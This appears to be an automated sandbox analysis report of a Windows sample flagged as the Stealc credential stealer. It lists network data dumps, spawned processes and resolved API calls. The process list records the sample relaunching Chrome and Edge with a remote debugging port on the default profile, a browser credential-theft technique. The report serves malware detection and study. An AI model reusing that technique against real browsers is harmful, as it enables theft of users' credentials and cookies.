7b 6f 53 4e b8 fa af 3d e6 11 8a ef 99 6d c9 d4 f1 2e 16 3d 5e 87 b8 a3 c5 01 63 a1 b0 Data Ascii: d9JdN\71$.><rme3p+-tuG;^fbvVL]r+n.OCYdn'eB}Hst:t(]WVX\|;\|1<qk+F6~WG[\|bO/=mF<Ut=^Jp6+Gn)z{oSN=m.=^c
2024-10-27 16:54:41 UTC	16384	IN	Data Raw: b1 68 8f 8c d7 38 f0 fc fd 4b af 77 f4 fe 31 c7 f0 f1 f1 70 fc 39 eb 3e ce ef 8d 9c ba d4 45 cb 45 da d5 e2 cf fd ab 76 b9 39 dc 6f 11 5b 5a bc 30 1b fd ab a7 f7 7a 4f bf f8 63 26 13 f5 38 fa 70 f3 b9 5f 97 f9 75 5c f3 cb f4 80 52 e1 3f 55 5e 23 f8 43 7b 8f 5a 1c 85 c7 de a0 ff 00 b2 1c 1a 3c 46 55 a6 f3 f4 9f 72 ea 9e 3f 57 2c 9e d7 8f db fe 57 f0 ef 9f 4d f0 ec 78 67 c3 1b ef 54 ac ee 72 3a 93 59 4d ec 12 fe 1a 9e 5d b9 a7 a8 b8 a3 ab dc f2 90 ae 53 f5 d5 49 ec 7a e5 f6 ff 00 0a 98 59 df db 9a 58 a9 f0 f6 46 5a 6d 7c 7e e6 b9 dd eb 4e 99 81 e9 14 80 fb 3f 80 47 fe e5 ef c7 d3 4c 6f d6 fc c4 be d4 ed cf d7 6e cc 64 d7 13 1f 93 33 ef 40 9f e9 f0 d4 ce c8 a6 56 c3 f8 96 30 7a 9c df cc 40 5b ea f9 e7 94 f9 b9 74 e0 b6 6f 8f 6f 1b f2 7a 7b 9e 08 8c e2 38 c8 Data Ascii: h8Kw1p9>EEv9o[Z0zOc&8p_u\R?U^#C{Z<FUr?W,WMxgTr:YM]SIzYXFZm\|~N?GLond3@V0z@[tooz{8
2024-10-27 16:54:41 UTC	5904	IN	Data Raw: 9c de 40 90 3a 16 5f 96 e6 1f 7a 3a 7b d5 ca 53 16 37 1d f9 e9 59 64 94 f7 4b a3 cc 24 6b ea 07 ea 96 d6 d4 c1 e0 f5 f2 85 45 63 1d 79 6f 6a 99 78 18 0b 20 82 e7 12 74 b1 b7 8b 8a 8e 5a e0 08 31 b6 e1 3d 96 93 d3 5a 75 78 24 30 b1 90 73 07 1c 0c 12 7b 54 50 c2 64 c0 1c 95 5a 96 78 e3 ae fd da 0d cf 07 57 03 7d 9a 78 a2 02 f7 d9 b2 fd a9 ee 21 95 99 36 50 8d 5a f2 7f 2d ba 8a 61 60 c1 d7 e5 0b 5d ef c9 9e d8 f4 df 56 fa 11 ca e6 c9 7c ee 02 08 ec 43 96 23 51 d0 af 6c dc dd 36 f9 ba f4 93 49 ed 77 a4 37 4c 6c 0f 4e d4 b0 d0 1d 3a ca 76 92 30 c7 71 5e 69 4e 0c a8 f0 09 82 39 47 88 0b 38 b6 1e 23 d4 0e ec d0 aa 64 51 37 0d ae b6 1c e3 4c 46 59 d8 6d f3 d8 96 58 07 b8 ec 87 66 5e e3 29 cd 54 b2 cb 72 76 db 4d 7a 05 99 bf 50 99 fd ba f6 2a 69 70 3f a4 9d ed 6f Data Ascii: @:_z:{S7YdK$kEcyojx tZ1=Zux$0s{TPdZxW}x!6PZ-a`]V\|C#Ql6Iw7LlN:v0q^iN9G8#dQ7LFYmXf^)TrvMzP*ip?o

Target ID:	0
Start time:	12:54:04
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x780000
File size:	888'832 bytes
MD5 hash:	F793D9E588C6BF51F1DAF523AB2DF1CE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2570744896.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000000.2115825361.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2570744896.0000000000F31000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:54:12
Start date:	27/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:54:13
Start date:	27/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 --field-trial-handle=2268,i,15294783422747119345,5635415483272853884,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:54:24
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:54:25
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2200,i,4606429550156952016,8987385730594920496,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:54:25
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:54:25
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	12:54:31
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6924 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:54:31
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7184 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:55:25
Start date:	27/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7216 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5%
Total number of Nodes:	2000
Total number of Limit Nodes:	28

Executed Functions

Function 00799F20 Relevance: 228.2, APIs: 112, Strings: 18, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,00ED65D0), ref: 00799F3D
GetProcAddress.KERNEL32(75900000,00ED67B0), ref: 00799F55
GetProcAddress.KERNEL32(75900000,00ED92E8), ref: 00799F6E
GetProcAddress.KERNEL32(75900000,00ED9360), ref: 00799F86
GetProcAddress.KERNEL32(75900000,00ED9588), ref: 00799F9E
GetProcAddress.KERNEL32(75900000,00ED95B8), ref: 00799FB7
GetProcAddress.KERNEL32(75900000,00EDCDC8), ref: 00799FCF
GetProcAddress.KERNEL32(75900000,00ED95D0), ref: 00799FE7
GetProcAddress.KERNEL32(75900000,00ED95E8), ref: 0079A000
GetProcAddress.KERNEL32(75900000,00ED95A0), ref: 0079A018
GetProcAddress.KERNEL32(75900000,00ED9600), ref: 0079A030
GetProcAddress.KERNEL32(75900000,00ED67D0), ref: 0079A049
GetProcAddress.KERNEL32(75900000,00ED65B0), ref: 0079A061
GetProcAddress.KERNEL32(75900000,00ED67F0), ref: 0079A079
GetProcAddress.KERNEL32(75900000,00ED6810), ref: 0079A092
GetProcAddress.KERNEL32(75900000,00ED9540), ref: 0079A0AA
GetProcAddress.KERNEL32(75900000,00ED9558), ref: 0079A0C2
GetProcAddress.KERNEL32(75900000,00EDCCB0), ref: 0079A0DB
GetProcAddress.KERNEL32(75900000,00ED6670), ref: 0079A0F3
GetProcAddress.KERNEL32(75900000,00ED9570), ref: 0079A10B
GetProcAddress.KERNEL32(75900000,00EE08C0), ref: 0079A124
GetProcAddress.KERNEL32(75900000,00EE0878), ref: 0079A13C
GetProcAddress.KERNEL32(75900000,00EE0920), ref: 0079A154
GetProcAddress.KERNEL32(75900000,00ED68D0), ref: 0079A16D
GetProcAddress.KERNEL32(75900000,00EE06E0), ref: 0079A185
GetProcAddress.KERNEL32(75900000,00EE06C8), ref: 0079A19D
GetProcAddress.KERNEL32(75900000,00EE07A0), ref: 0079A1B6
GetProcAddress.KERNEL32(75900000,00EE0680), ref: 0079A1CE
GetProcAddress.KERNEL32(75900000,00EE0830), ref: 0079A1E6
GetProcAddress.KERNEL32(75900000,00EE0638), ref: 0079A1FF
GetProcAddress.KERNEL32(75900000,00EE0848), ref: 0079A217
GetProcAddress.KERNEL32(75900000,00EE08D8), ref: 0079A22F
GetProcAddress.KERNEL32(75900000,00EE0770), ref: 0079A248
GetProcAddress.KERNEL32(75900000,00EDC830), ref: 0079A260
GetProcAddress.KERNEL32(75900000,00EE08F0), ref: 0079A278
GetProcAddress.KERNEL32(75900000,00EE0650), ref: 0079A291
GetProcAddress.KERNEL32(75900000,00ED6610), ref: 0079A2A9
GetProcAddress.KERNEL32(75900000,00EE0668), ref: 0079A2C1
GetProcAddress.KERNEL32(75900000,00ED6690), ref: 0079A2DA
GetProcAddress.KERNEL32(75900000,00EE0908), ref: 0079A2F2
GetProcAddress.KERNEL32(75900000,00EE07B8), ref: 0079A30A
GetProcAddress.KERNEL32(75900000,00ED66B0), ref: 0079A323
GetProcAddress.KERNEL32(75900000,00ED6710), ref: 0079A33B
LoadLibraryA.KERNEL32(00EE0698,?,00795EF3,?,00000034,00000064,007968A0,?,0000002C,00000064,00796840,?,0000003C,00000064,007967B0,?), ref: 0079A34D
LoadLibraryA.KERNEL32(00EE0860,?,00795EF3,?,00000034,00000064,007968A0,?,0000002C,00000064,00796840,?,0000003C,00000064,007967B0,?), ref: 0079A35E
LoadLibraryA.KERNEL32(00EE08A8,?,00795EF3,?,00000034,00000064,007968A0,?,0000002C,00000064,00796840,?,0000003C,00000064,007967B0,?), ref: 0079A370
LoadLibraryA.KERNEL32(00EE0818,?,00795EF3,?,00000034,00000064,007968A0,?,0000002C,00000064,00796840,?,0000003C,00000064,007967B0,?), ref: 0079A382
LoadLibraryA.KERNEL32(00EE0710,?,00795EF3,?,00000034,00000064,007968A0,?,0000002C,00000064,00796840,?,0000003C,00000064,007967B0,?), ref: 0079A393
LoadLibraryA.KERNEL32(00EE07D0,?,00795EF3,?,00000034,00000064,007968A0,?,0000002C,00000064,00796840,?,0000003C,00000064,007967B0,?), ref: 0079A3A5
LoadLibraryA.KERNEL32(00EE06B0,?,00795EF3,?,00000034,00000064,007968A0,?,0000002C,00000064,00796840,?,0000003C,00000064,007967B0,?), ref: 0079A3B7
LoadLibraryA.KERNEL32(00EE0728,?,00795EF3,?,00000034,00000064,007968A0,?,0000002C,00000064,00796840,?,0000003C,00000064,007967B0,?), ref: 0079A3C8
GetProcAddress.KERNEL32(75FD0000,00ED6730), ref: 0079A3EA
GetProcAddress.KERNEL32(75FD0000,00EE0788), ref: 0079A402
GetProcAddress.KERNEL32(75FD0000,00EDA930), ref: 0079A41A
GetProcAddress.KERNEL32(75FD0000,00EE06F8), ref: 0079A433
GetProcAddress.KERNEL32(75FD0000,00ED6AD0), ref: 0079A44B
GetProcAddress.KERNEL32(73530000,00EDCBC0), ref: 0079A470
GetProcAddress.KERNEL32(73530000,00ED6CF0), ref: 0079A489
GetProcAddress.KERNEL32(73530000,00EDCC60), ref: 0079A4A1
GetProcAddress.KERNEL32(73530000,00EE0740), ref: 0079A4B9
GetProcAddress.KERNEL32(73530000,00EE0758), ref: 0079A4D2
GetProcAddress.KERNEL32(73530000,00ED6BD0), ref: 0079A4EA
GetProcAddress.KERNEL32(73530000,00ED69F0), ref: 0079A502
GetProcAddress.KERNEL32(73530000,00EE0890), ref: 0079A51B
GetProcAddress.KERNEL32(763B0000,00ED6AF0), ref: 0079A53C
GetProcAddress.KERNEL32(763B0000,00ED69B0), ref: 0079A554
GetProcAddress.KERNEL32(763B0000,00EE07E8), ref: 0079A56D
GetProcAddress.KERNEL32(763B0000,00EE0800), ref: 0079A585
GetProcAddress.KERNEL32(763B0000,00ED6A10), ref: 0079A59D
GetProcAddress.KERNEL32(750F0000,00EDCA30), ref: 0079A5C3
GetProcAddress.KERNEL32(750F0000,00EDCAF8), ref: 0079A5DB
GetProcAddress.KERNEL32(750F0000,00EE0998), ref: 0079A5F3
GetProcAddress.KERNEL32(750F0000,00ED6CB0), ref: 0079A60C
GetProcAddress.KERNEL32(750F0000,00ED6B70), ref: 0079A624
GetProcAddress.KERNEL32(750F0000,00EDCB20), ref: 0079A63C
GetProcAddress.KERNEL32(75A50000,00EE0938), ref: 0079A662
GetProcAddress.KERNEL32(75A50000,00ED6A90), ref: 0079A67A
GetProcAddress.KERNEL32(75A50000,00EDA960), ref: 0079A692
GetProcAddress.KERNEL32(75A50000,00EE09B0), ref: 0079A6AB
GetProcAddress.KERNEL32(75A50000,00EE0950), ref: 0079A6C3
GetProcAddress.KERNEL32(75A50000,00ED6A50), ref: 0079A6DB
GetProcAddress.KERNEL32(75A50000,00ED6C90), ref: 0079A6F4
GetProcAddress.KERNEL32(75A50000,00EE0980), ref: 0079A70C
GetProcAddress.KERNEL32(75A50000,00EE0968), ref: 0079A724
GetProcAddress.KERNEL32(75070000,00ED6D50), ref: 0079A746
GetProcAddress.KERNEL32(75070000,00EE09C8), ref: 0079A75E
GetProcAddress.KERNEL32(75070000,00EE09E0), ref: 0079A776
GetProcAddress.KERNEL32(75070000,00EE09F8), ref: 0079A78F
GetProcAddress.KERNEL32(75070000,00EE0F38), ref: 0079A7A7
GetProcAddress.KERNEL32(74E50000,00ED6A30), ref: 0079A7C8
GetProcAddress.KERNEL32(74E50000,00ED6B10), ref: 0079A7E1
GetProcAddress.KERNEL32(75320000,00ED6CD0), ref: 0079A802
GetProcAddress.KERNEL32(75320000,00EE0D40), ref: 0079A81A
GetProcAddress.KERNEL32(6F060000,00ED6B50), ref: 0079A840
GetProcAddress.KERNEL32(6F060000,00ED6A70), ref: 0079A858
GetProcAddress.KERNEL32(6F060000,00ED6D10), ref: 0079A870
GetProcAddress.KERNEL32(6F060000,00EE0E30), ref: 0079A889
GetProcAddress.KERNEL32(6F060000,00ED6D30), ref: 0079A8A1
GetProcAddress.KERNEL32(6F060000,00ED6AB0), ref: 0079A8B9
GetProcAddress.KERNEL32(6F060000,00ED6B30), ref: 0079A8D2
GetProcAddress.KERNEL32(6F060000,00ED6BF0), ref: 0079A8EA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 0079A901
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 0079A917
GetProcAddress.KERNEL32(74E00000,00EE0E48), ref: 0079A939
GetProcAddress.KERNEL32(74E00000,00EDA980), ref: 0079A951
GetProcAddress.KERNEL32(74E00000,00EE0F80), ref: 0079A969
GetProcAddress.KERNEL32(74E00000,00EE0EA8), ref: 0079A982
GetProcAddress.KERNEL32(74DF0000,00ED69D0), ref: 0079A9A3
GetProcAddress.KERNEL32(6D080000,00EE0F98), ref: 0079A9C4
GetProcAddress.KERNEL32(6D080000,00ED6B90), ref: 0079A9DD
GetProcAddress.KERNEL32(6D080000,00EE0FB0), ref: 0079A9F5
GetProcAddress.KERNEL32(6D080000,00EE0FC8), ref: 0079AA0D

Strings

P, xrefs: 0079A6B6
h, xrefs: 0079A717
0k, xrefs: 0079A8C4
@, xrefs: 0079A80D
HttpQueryInfoA, xrefs: 0079A90C
pk, xrefs: 0079A617
0j, xrefs: 0079A7BB
Pm, xrefs: 0079A738
Pk, xrefs: 0079A832
, xrefs: 0079A769
pf, xrefs: 0079A0E6
, xrefs: 0079A147
InternetSetOptionA, xrefs: 0079A8F5
Pj, xrefs: 0079A6CE
pj, xrefs: 0079A84B
8, xrefs: 0079A654
0g, xrefs: 0079A3DC
0m, xrefs: 0079A894

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: $0g$0j$0k$0m$8$@$HttpQueryInfoA$InternetSetOptionA$P$Pj$Pk$Pm$h$pf$pj$pk$
API String ID: 2238633743-2262997597
Opcode ID: 4a4e45a37597ae840ed8ebbe03ee60cb8f3375191db27a3a319d834793e2b02a
Instruction ID: f57a7ab9130513bfd99deeb6e4235ebb36fa33d1f26aa37db91a3a565983e1f7
Opcode Fuzzy Hash: 4a4e45a37597ae840ed8ebbe03ee60cb8f3375191db27a3a319d834793e2b02a
Instruction Fuzzy Hash: 04621BB6619B00AFC345DFE8FC8895E7BB9B74D703790861AB909E3270D7359942CB60

Function 00784610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00796C9B), ref: 0078461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00796C9B), ref: 00784627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00796C9B), ref: 00784632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00796C9B), ref: 0078463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00796C9B), ref: 00784648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,00796C9B), ref: 00784657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,00796C9B), ref: 0078465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00796C9B), ref: 0078466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00796C9B), ref: 00784677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00796C9B), ref: 00784682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00796C9B), ref: 0078468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00796C9B), ref: 00784698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00796C9B), ref: 007846AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00796C9B), ref: 007846B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00796C9B), ref: 007846C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00796C9B), ref: 007846CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,00796C9B), ref: 007846D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00784701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0078470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00784717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00784722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0078472D
strlen.MSVCRT ref: 00784740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00784768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00784773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0078477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00784789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00784794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 007847A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 007847AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 007847BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 007847C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 007847D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 007847EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007846BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00784672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00784667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00784693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007847CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 007847B5
